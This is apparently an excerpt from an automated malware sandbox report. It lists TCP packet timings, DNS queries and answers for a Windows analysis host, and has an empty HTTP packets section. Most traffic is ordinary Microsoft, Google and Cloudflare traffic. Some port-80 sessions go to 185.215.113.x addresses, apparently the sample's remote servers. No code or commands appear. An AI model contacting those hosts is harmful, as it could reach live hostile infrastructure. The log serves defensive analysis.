Nov 28, 2024 00:19:54.377078056 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.377177000 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.400646925 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.400656939 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.400702000 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.400746107 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.400751114 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.400801897 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.405469894 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.405517101 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.405544043 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.405551910 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.405584097 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.405607939 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.413294077 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.413367033 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.421052933 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.421113014 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.421143055 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.421148062 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.421192884 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.421197891 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.421235085 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.421272993 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.421391010 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.421703100 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.421710014 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.422962904 CET	443	49909	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:54.423640013 CET	49909	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:54.423649073 CET	443	49909	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:54.424074888 CET	49909	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:54.424081087 CET	443	49909	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:54.437628031 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.437649965 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.437721968 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.437745094 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.437830925 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.441184998 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.441205978 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.441243887 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.441251993 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.441289902 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.441297054 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.450773954 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.450833082 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.461929083 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.461946011 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.462019920 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.462025881 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.462068081 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.462074995 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.462131977 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.462173939 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.462371111 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.462377071 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.477830887 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.477849960 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.477920055 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.477931023 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.477983952 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.481970072 CET	49917	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:54.481983900 CET	443	49917	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:54.482111931 CET	49917	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:54.483026981 CET	49917	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:54.483038902 CET	443	49917	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:54.490206957 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.490263939 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.490307093 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.490309000 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.490349054 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.510888100 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.510910034 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.512619972 CET	49918	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:54.512631893 CET	443	49918	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:54.512928963 CET	49918	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:54.513901949 CET	49918	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:54.513914108 CET	443	49918	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:54.824273109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:54.824341059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:54.859569073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:54.874891043 CET	443	49909	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:54.874964952 CET	443	49909	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:54.875154018 CET	49909	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:54.875545979 CET	49909	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:54.875556946 CET	443	49909	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:54.875572920 CET	49909	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:54.875577927 CET	443	49909	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:54.880625963 CET	49919	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:54.880647898 CET	443	49919	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:54.880709887 CET	49919	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:54.880929947 CET	49919	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:54.880944967 CET	443	49919	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:54.983355999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:55.005805969 CET	49920	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:55.005835056 CET	443	49920	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:55.005906105 CET	49920	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:55.006561995 CET	49920	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:55.006582022 CET	443	49920	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:55.099142075 CET	443	49908	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:55.099606037 CET	49908	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:55.099628925 CET	443	49908	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:55.100140095 CET	49908	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:55.100145102 CET	443	49908	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:55.320869923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:55.320921898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:55.325067997 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:55.380074978 CET	49922	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:55.380115032 CET	443	49922	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:55.380198956 CET	49922	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:55.380652905 CET	49922	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:55.380666018 CET	443	49922	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:55.448851109 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:55.448949099 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:55.450535059 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:55.542510033 CET	443	49908	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:55.542560101 CET	443	49908	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:55.542778969 CET	49908	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:55.543070078 CET	49908	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:55.543081999 CET	443	49908	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:55.543097019 CET	49908	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:55.543101072 CET	443	49908	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:55.546344995 CET	49923	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:55.546365976 CET	443	49923	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:55.546607018 CET	49923	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:55.546736002 CET	49923	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:55.546749115 CET	443	49923	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:55.574520111 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:55.702080965 CET	443	49916	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:55.702538967 CET	49916	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:55.702559948 CET	443	49916	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:55.702987909 CET	49916	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:55.702994108 CET	443	49916	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:56.053924084 CET	443	49917	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.054224968 CET	49917	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.054234028 CET	443	49917	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.054598093 CET	443	49917	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.054894924 CET	49917	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.054956913 CET	443	49917	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.055033922 CET	49917	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.055104017 CET	49917	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.055136919 CET	443	49917	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.127978086 CET	443	49918	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.128186941 CET	49918	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.128201962 CET	443	49918	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.128494024 CET	443	49918	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.128998041 CET	49918	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.129057884 CET	443	49918	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.129154921 CET	49918	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.129185915 CET	49918	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.129215956 CET	443	49918	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.153733015 CET	443	49916	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:56.153793097 CET	443	49916	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:56.153965950 CET	49916	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:56.153994083 CET	49916	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:56.154016018 CET	443	49916	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:56.154026985 CET	49916	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:56.154033899 CET	443	49916	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:56.157082081 CET	49924	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:56.157100916 CET	443	49924	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:56.157331944 CET	49924	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:56.157690048 CET	49924	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:56.157700062 CET	443	49924	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:56.559958935 CET	443	49917	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.560101032 CET	443	49917	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.560152054 CET	49917	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.560555935 CET	49917	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.560568094 CET	443	49917	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.560579062 CET	49917	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.560616970 CET	49917	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.561628103 CET	443	49920	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.561887026 CET	49920	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.561896086 CET	443	49920	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.562959909 CET	443	49920	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.563009977 CET	49920	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.563321114 CET	49920	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.563375950 CET	443	49920	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.563472033 CET	49920	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.563517094 CET	49920	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.563529015 CET	443	49920	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.586417913 CET	443	49918	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.586610079 CET	443	49918	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.586663008 CET	49918	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.587054014 CET	49918	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.587065935 CET	443	49918	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:56.587078094 CET	49918	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.587116003 CET	49918	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.607783079 CET	49920	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:56.783206940 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:56.783251047 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:56.783283949 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:56.783302069 CET	443	49919	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:56.783330917 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:56.783404112 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:56.783448935 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:56.783541918 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:56.783551931 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:56.783585072 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:56.783598900 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:56.783612967 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:56.783624887 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:56.783658981 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:56.783833027 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:56.783840895 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:56.783847094 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:56.783879995 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:56.783904076 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:56.786426067 CET	49919	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:56.786454916 CET	443	49919	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:56.786931992 CET	49919	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:56.786936998 CET	443	49919	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:56.908574104 CET	80	49921	185.215.113.16	192.168.2.6
Nov 28, 2024 00:19:56.908659935 CET	49921	80	192.168.2.6	185.215.113.16
Nov 28, 2024 00:19:56.908675909 CET	80	49921	185.215.113.16	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 00:19:22.882307053 CET	192.168.2.6	1.1.1.1	0x2787	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:22.883321047 CET	192.168.2.6	1.1.1.1	0x3656	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 28, 2024 00:19:34.054122925 CET	192.168.2.6	1.1.1.1	0x57d	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:34.054399014 CET	192.168.2.6	1.1.1.1	0x517f	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 28, 2024 00:19:36.541590929 CET	192.168.2.6	1.1.1.1	0xf8e9	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:36.541780949 CET	192.168.2.6	1.1.1.1	0x2616	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 28, 2024 00:19:38.429531097 CET	192.168.2.6	1.1.1.1	0xde87	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:38.429712057 CET	192.168.2.6	1.1.1.1	0x2a93	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 28, 2024 00:19:38.495592117 CET	192.168.2.6	1.1.1.1	0xdb85	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:38.496027946 CET	192.168.2.6	1.1.1.1	0x3ae3	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 28, 2024 00:19:38.617048979 CET	192.168.2.6	1.1.1.1	0x78ae	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:38.621032000 CET	192.168.2.6	1.1.1.1	0xc212	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 28, 2024 00:19:38.824290991 CET	192.168.2.6	1.1.1.1	0x47d8	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:38.824484110 CET	192.168.2.6	1.1.1.1	0xb1e2	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 28, 2024 00:19:38.972253084 CET	192.168.2.6	1.1.1.1	0x9955	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:38.972440004 CET	192.168.2.6	1.1.1.1	0xb90d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 00:19:38.972935915 CET	192.168.2.6	1.1.1.1	0x1e2	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:38.973104000 CET	192.168.2.6	1.1.1.1	0x1cb9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 00:19:38.986566067 CET	192.168.2.6	1.1.1.1	0xfa41	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:38.986702919 CET	192.168.2.6	1.1.1.1	0x703	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 00:19:43.133157015 CET	192.168.2.6	1.1.1.1	0xa7aa	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:43.133652925 CET	192.168.2.6	1.1.1.1	0xe4fc	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 00:19:06.100925922 CET	1.1.1.1	192.168.2.6	0x94fe	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:06.100925922 CET	1.1.1.1	192.168.2.6	0x94fe	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:23.023576975 CET	1.1.1.1	192.168.2.6	0x2787	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:23.024729967 CET	1.1.1.1	192.168.2.6	0x3656	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 28, 2024 00:19:34.196165085 CET	1.1.1.1	192.168.2.6	0x57d	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:34.302860022 CET	1.1.1.1	192.168.2.6	0x517f	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:34.644840002 CET	1.1.1.1	192.168.2.6	0xc44a	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:34.644840002 CET	1.1.1.1	192.168.2.6	0xc44a	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:34.752427101 CET	1.1.1.1	192.168.2.6	0x81da	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:36.685753107 CET	1.1.1.1	192.168.2.6	0xf8e9	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:36.685906887 CET	1.1.1.1	192.168.2.6	0x2616	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:38.573445082 CET	1.1.1.1	192.168.2.6	0xde87	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:38.573445082 CET	1.1.1.1	192.168.2.6	0xde87	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:38.573445082 CET	1.1.1.1	192.168.2.6	0xde87	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:38.573445082 CET	1.1.1.1	192.168.2.6	0xde87	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:38.639303923 CET	1.1.1.1	192.168.2.6	0xdb85	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:38.640566111 CET	1.1.1.1	192.168.2.6	0x3ae3	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:38.758127928 CET	1.1.1.1	192.168.2.6	0x78ae	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:38.846332073 CET	1.1.1.1	192.168.2.6	0xc212	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:38.965356112 CET	1.1.1.1	192.168.2.6	0x47d8	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:38.970884085 CET	1.1.1.1	192.168.2.6	0xb1e2	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:39.113145113 CET	1.1.1.1	192.168.2.6	0x9955	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:39.113145113 CET	1.1.1.1	192.168.2.6	0x9955	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:39.113229990 CET	1.1.1.1	192.168.2.6	0xb90d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 00:19:39.113739014 CET	1.1.1.1	192.168.2.6	0x1e2	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:39.113739014 CET	1.1.1.1	192.168.2.6	0x1e2	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:39.114098072 CET	1.1.1.1	192.168.2.6	0x1cb9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 00:19:39.128189087 CET	1.1.1.1	192.168.2.6	0xfa41	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:39.128189087 CET	1.1.1.1	192.168.2.6	0xfa41	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:39.128252983 CET	1.1.1.1	192.168.2.6	0x703	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 00:19:40.059849024 CET	1.1.1.1	192.168.2.6	0x6ba1	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:40.059849024 CET	1.1.1.1	192.168.2.6	0x6ba1	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:43.277297020 CET	1.1.1.1	192.168.2.6	0xa7aa	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:43.277297020 CET	1.1.1.1	192.168.2.6	0xa7aa	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:43.381922007 CET	1.1.1.1	192.168.2.6	0xe4fc	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:45.547262907 CET	1.1.1.1	192.168.2.6	0xb317	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 00:19:45.547262907 CET	1.1.1.1	192.168.2.6	0xb317	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Nov 28, 2024 00:19:45.547262907 CET	1.1.1.1	192.168.2.6	0xb317	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
